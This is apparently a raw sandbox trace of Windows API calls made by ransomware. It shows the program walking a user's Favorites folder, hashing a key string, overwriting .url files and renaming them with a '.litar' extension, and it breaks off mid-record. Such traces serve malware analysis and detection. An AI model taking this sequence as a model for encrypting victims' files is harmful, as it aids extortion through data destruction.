[0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.881] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.881] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.881] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0125.881] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.881] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.881] PathFindFileNameW (pszPath="") returned="" [0125.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.881] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.882] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.882] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ff7df0 [0125.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.882] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0125.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.882] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0125.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.882] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0125.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.886] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=236) returned 1 [0125.886] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.888] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.888] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.888] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.888] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xec, lpOverlapped=0x0) returned 1 [0125.889] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.889] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.889] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.889] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.889] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.890] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.890] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.890] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.890] GetLastError () returned 0x0 [0125.890] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.890] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xf0) returned 0x6aef38 [0125.890] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.890] WriteFile (in: hFile=0x624, lpBuffer=0x6aef38*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x6aef38*, lpNumberOfBytesWritten=0x398fb24*=0xe7, lpOverlapped=0x0) returned 1 [0125.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0125.890] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.890] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.890] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.890] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.891] CloseHandle (hObject=0x624) returned 1 [0125.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.litar")) returned 1 [0125.892] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.892] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.893] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0125.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.893] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0125.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.893] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=226) returned 1 [0125.893] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.895] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.895] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.896] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.896] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xe2, lpOverlapped=0x0) returned 1 [0125.896] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.896] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.896] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.896] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.897] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.897] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.897] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.897] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.897] GetLastError () returned 0x0 [0125.897] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.897] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe0) returned 0x3071b70 [0125.897] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.897] 